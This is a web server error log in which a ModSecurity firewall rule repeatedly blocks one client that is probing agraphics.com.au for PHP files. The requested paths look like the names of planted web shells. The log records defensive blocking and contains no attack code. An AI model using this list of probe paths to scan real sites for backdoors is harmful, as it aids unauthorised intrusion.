[Mon May 04 23:53:40.054730 2026] [:error] [pid 61042:tid 61064] [client 4.204.197.96:43007] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xml.php"] [unique_id "afjBBEnAPPS1fjubA9RxzAAAANI"]
[Mon May 04 23:53:40.559481 2026] [:error] [pid 3341:tid 3347] [client 4.204.197.96:42898] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xml.php"] [unique_id "afjBBE9o3_LordU0wW6fmQAAAIM"]
[Mon May 04 23:53:41.015288 2026] [:error] [pid 61042:tid 61046] [client 4.204.197.96:42921] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xml.php"] [unique_id "afjBBUnAPPS1fjubA9RxzgAAAMA"]
[Mon May 04 23:53:41.534011 2026] [:error] [pid 61042:tid 61057] [client 4.204.197.96:42913] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xml.php"] [unique_id "afjBBUnAPPS1fjubA9RxzwAAAMs"]
[Mon May 04 23:53:41.970242 2026] [:error] [pid 3341:tid 3362] [client 4.204.197.96:42774] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xinder.php"] [unique_id "afjBBU9o3_LordU0wW6fnQAAAJI"]
[Mon May 04 23:53:42.426932 2026] [:error] [pid 3341:tid 3350] [client 4.204.197.96:42842] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xinder.php"] [unique_id "afjBBk9o3_LordU0wW6fnwAAAIY"]
[Mon May 04 23:53:42.949970 2026] [:error] [pid 32471:tid 32485] [client 4.204.197.96:42740] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xinder.php"] [unique_id "afjBBnmjpb9EYq6AqhKSvQAAAQs"]
[Mon May 04 23:53:43.450930 2026] [:error] [pid 32471:tid 32492] [client 4.204.197.96:42905] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xinder.php"] [unique_id "afjBB3mjpb9EYq6AqhKSvwAAARI"]
[Mon May 04 23:53:43.939778 2026] [:error] [pid 61042:tid 61051] [client 4.204.197.96:42919] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "afjBB0nAPPS1fjubA9Rx0gAAAMU"]
[Mon May 04 23:53:44.462681 2026] [:error] [pid 61043:tid 61083] [client 4.204.197.96:42986] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "afjBCJ8-LwtfURjiAbDqAAAAAEg"]
[Mon May 04 23:53:44.990335 2026] [:error] [pid 61150:tid 61163] [client 4.204.197.96:42968] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "afjBCO8QXWVLiwIGVpeo_QAAAUo"]
[Mon May 04 23:53:45.475585 2026] [:error] [pid 61043:tid 61089] [client 4.204.197.96:42839] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "afjBCZ8-LwtfURjiAbDqAwAAAE4"]
[Mon May 04 23:53:45.968580 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:42860] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/academy.php"] [unique_id "afjBCU9o3_LordU0wW6fqQAAAIs"]
[Mon May 04 23:53:46.392263 2026] [:error] [pid 61150:tid 61174] [client 4.204.197.96:42880] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/academy.php"] [unique_id "afjBCu8QXWVLiwIGVpeo_gAAAVU"]
[Mon May 04 23:53:46.877393 2026] [:error] [pid 3341:tid 3348] [client 4.204.197.96:42727] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/academy.php"] [unique_id "afjBCk9o3_LordU0wW6fqgAAAIQ"]
[Mon May 04 23:53:47.331652 2026] [:error] [pid 61043:tid 61092] [client 4.204.197.96:42998] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/academy.php"] [unique_id "afjBC58-LwtfURjiAbDqCQAAAFE"]
[Mon May 04 23:53:47.802967 2026] [:error] [pid 32471:tid 32483] [client 4.204.197.96:42830] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/owl.php"] [unique_id "afjBC3mjpb9EYq6AqhKSwAAAAQk"]
[Mon May 04 23:53:48.466530 2026] [:error] [pid 61044:tid 61126] [client 4.204.197.96:42974] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/owl.php"] [unique_id "afjBDEw8w2zZZXI6H1u6LAAAABg"]
[Mon May 04 23:53:48.888703 2026] [:error] [pid 61043:tid 61097] [client 4.204.197.96:42914] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/owl.php"] [unique_id "afjBDJ8-LwtfURjiAbDqDwAAAFY"]
[Mon May 04 23:53:49.317627 2026] [:error] [pid 61044:tid 61124] [client 4.204.197.96:42714] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/owl.php"] [unique_id "afjBDUw8w2zZZXI6H1u6MAAAABY"]
[Mon May 04 23:53:49.847410 2026] [:error] [pid 61044:tid 61102] [client 4.204.197.96:42832] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "afjBDUw8w2zZZXI6H1u6MQAAAAA"]
[Mon May 04 23:53:50.345004 2026] [:error] [pid 61150:tid 61171] [client 4.204.197.96:43116] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "afjBDu8QXWVLiwIGVpepAQAAAVI"]
[Mon May 04 23:53:50.839768 2026] [:error] [pid 32471:tid 32488] [client 4.204.197.96:42821] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "afjBDnmjpb9EYq6AqhKSwQAAAQ4"]
[Mon May 04 23:53:51.299682 2026] [:error] [pid 32471:tid 32481] [client 4.204.197.96:42903] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class19.php"] [unique_id "afjBD3mjpb9EYq6AqhKSwwAAAQc"]
[Mon May 04 23:53:51.779319 2026] [:error] [pid 3341:tid 3360] [client 4.204.197.96:42931] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xm.php"] [unique_id "afjBD09o3_LordU0wW6frQAAAJA"]
[Mon May 04 23:53:52.255850 2026] [:error] [pid 3341:tid 3346] [client 4.204.197.96:42717] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xm.php"] [unique_id "afjBEE9o3_LordU0wW6frgAAAII"]
[Mon May 04 23:53:52.723354 2026] [:error] [pid 3341:tid 3358] [client 4.204.197.96:42932] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xm.php"] [unique_id "afjBEE9o3_LordU0wW6fsAAAAI4"]
[Mon May 04 23:53:53.170986 2026] [:error] [pid 3341:tid 3361] [client 4.204.197.96:42891] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-xm.php"] [unique_id "afjBEU9o3_LordU0wW6fswAAAJE"]
[Mon May 04 23:53:53.643535 2026] [:error] [pid 3341:tid 3354] [client 4.204.197.96:42751] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/do.php"] [unique_id "afjBEU9o3_LordU0wW6ftgAAAIo"]
[Mon May 04 23:53:54.074998 2026] [:error] [pid 61044:tid 61121] [client 4.204.197.96:42897] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/do.php"] [unique_id "afjBEkw8w2zZZXI6H1u6MwAAABM"]
[Mon May 04 23:53:54.551130 2026] [:error] [pid 61042:tid 61067] [client 4.204.197.96:42939] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/do.php"] [unique_id "afjBEknAPPS1fjubA9Rx1gAAANU"]
[Mon May 04 23:53:55.011622 2026] [:error] [pid 61044:tid 61115] [client 4.204.197.96:42823] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/do.php"] [unique_id "afjBE0w8w2zZZXI6H1u6NgAAAA0"]
[Mon May 04 23:53:55.492777 2026] [:error] [pid 61044:tid 61112] [client 4.204.197.96:42933] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "afjBE0w8w2zZZXI6H1u6OAAAAAo"]
[Mon May 04 23:53:56.054588 2026] [:error] [pid 32471:tid 32480] [client 4.204.197.96:42992] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "afjBFHmjpb9EYq6AqhKSxwAAAQY"]
[Mon May 04 23:53:56.515867 2026] [:error] [pid 3341:tid 3355] [client 4.204.197.96:42879] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "afjBFE9o3_LordU0wW6fugAAAIs"]
[Mon May 04 23:53:56.947632 2026] [:error] [pid 3341:tid 3363] [client 4.204.197.96:42744] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "afjBFE9o3_LordU0wW6fvgAAAJM"]
[Mon May 04 23:53:57.403437 2026] [:error] [pid 3341:tid 3346] [client 4.204.197.96:42925] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "afjBFU9o3_LordU0wW6fwgAAAII"]
[Mon May 04 23:53:57.863567 2026] [:error] [pid 32471:tid 32474] [client 4.204.197.96:42749] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "afjBFXmjpb9EYq6AqhKSyAAAAQA"]
[Mon May 04 23:53:58.360130 2026] [:error] [pid 32471:tid 32475] [client 4.204.197.96:42990] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "afjBFnmjpb9EYq6AqhKSyQAAAQE"]
[Mon May 04 23:53:58.789314 2026] [:error] [pid 3341:tid 3357] [client 4.204.197.96:42843] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/system.php"] [unique_id "afjBFk9o3_LordU0wW6fxgAAAI0"]
[Mon May 04 23:53:59.255055 2026] [:error] [pid 3341:tid 3349] [client 4.204.197.96:42953] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasfu.php"] [unique_id "afjBF09o3_LordU0wW6fxwAAAIU"]
[Mon May 04 23:53:59.727767 2026] [:error] [pid 61150:tid 61172] [client 4.204.197.96:42922] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasfu.php"] [unique_id "afjBF-8QXWVLiwIGVpepCAAAAVM"]
[Mon May 04 23:54:00.176786 2026] [:error] [pid 3341:tid 3360] [client 4.204.197.96:42899] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasfu.php"] [unique_id "afjBGE9o3_LordU0wW6fyAAAAJA"]
[Mon May 04 23:54:00.631869 2026] [:error] [pid 61043:tid 61099] [client 4.204.197.96:42918] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yasfu.php"] [unique_id "afjBGJ8-LwtfURjiAbDqFAAAAFg"]
[Mon May 04 23:54:01.192374 2026] [:error] [pid 61044:tid 61102] [client 4.204.197.96:42928] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "afjBGUw8w2zZZXI6H1u6OQAAAAA"]
[Mon May 04 23:54:01.667382 2026] [:error] [pid 61043:tid 61093] [client 4.204.197.96:42887] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "afjBGZ8-LwtfURjiAbDqFwAAAFI"]
[Mon May 04 23:54:02.151075 2026] [:error] [pid 3341:tid 3353] [client 4.204.197.96:42859] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "afjBGk9o3_LordU0wW6fyQAAAIk"]
[Mon May 04 23:54:02.580192 2026] [:error] [pid 61042:tid 61056] [client 4.204.197.96:42994] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "afjBGknAPPS1fjubA9Rx2AAAAMo"]
[Mon May 04 23:54:03.023976 2026] [:error] [pid 61042:tid 61055] [client 4.204.197.96:42828] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "afjBG0nAPPS1fjubA9Rx2gAAAMk"]
[Mon May 04 23:54:03.451567 2026] [:error] [pid 32471:tid 32476] [client 4.204.197.96:43005] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "afjBG3mjpb9EYq6AqhKS0gAAAQI"]
[Mon May 04 23:54:03.903736 2026] [:error] [pid 3341:tid 3357] [client 4.204.197.96:42950] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "afjBG09o3_LordU0wW6fygAAAI0"]
[Mon May 04 23:54:04.413282 2026] [:error] [pid 61043:tid 61083] [client 4.204.197.96:42758] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "afjBHJ8-LwtfURjiAbDqGgAAAEg"]
[Mon May 04 23:54:04.858738 2026] [:error] [pid 3341:tid 3363] [client 4.204.197.96:42827] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "afjBHE9o3_LordU0wW6fzAAAAJM"]
[Mon May 04 23:54:05.325246 2026] [:error] [pid 32471:tid 32485] [client 4.204.197.96:42941] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "afjBHXmjpb9EYq6AqhKS1QAAAQs"]
[Mon May 04 23:54:05.745907 2026] [:error] [pid 3341:tid 3360] [client 4.204.197.96:43028] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "afjBHU9o3_LordU0wW6fzwAAAJA"]
[Mon May 04 23:54:06.176614 2026] [:error] [pid 32471:tid 32490] [client 4.204.197.96:42846] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "afjBHnmjpb9EYq6AqhKS1wAAARA"]
[Mon May 04 23:54:06.676984 2026] [:error] [pid 3341:tid 3352] [client 4.204.197.96:42819] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lala.php"] [unique_id "afjBHk9o3_LordU0wW6f1QAAAIg"]
